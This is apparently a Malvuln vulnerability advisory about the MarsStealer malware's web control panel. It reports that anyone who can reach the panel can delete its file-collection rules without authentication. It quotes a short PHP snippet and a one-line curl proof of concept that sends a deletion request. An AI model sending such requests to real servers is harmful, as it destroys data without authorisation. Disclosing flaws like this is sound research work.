Win32.MarsStealer Web Panel Unauthenticated Remote Data Deletion

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/8abb41f6e7010d70c90f65fd9a740faa_C.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Win32.MarsStealer Web Panel  
Vulnerability: Unauthenticated Remote Data Deletion  
Description: The Mars-Stealer web interface has a "Grab Rules" component area that lets a user specify which type of files to collect from a system as specified in the "grab_manual.txt" manual. Third-party attackers who can reach the Mars-Stealer server can send an HTTP POST request to delete any grab rule from the "mars" MySQL database grabrule table.  
  
PHP code snippet "markeractions.php"  
  
require_once '../../db.php';  
  
switch (trim($_POST['func'])) {  
case "markeradd":  
markeradd();  
break;  
case "markerdelete":  
markerdelete();  
break;  
case "markeractive":  
markeractive();  
break;  
}  
  
Type: WebUI  
MD5: 8abb41f6e7010d70c90f65fd9a740faa (MarsStealer_Menu.exe)  
MD5: 03c2c5cb3dba09bfa479fd5c50b5a2cf (dashboard.php)  
Vuln ID: MVID-2022-0453  
Disclosure: 01/15/2022  
  
Exploit/PoC:  
c:/>curl http://MARS_STEALER_SERVER/mars/panel/includes/grabactions.php --data "func=grabdelete&id=1"  
"deleted"  
  
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`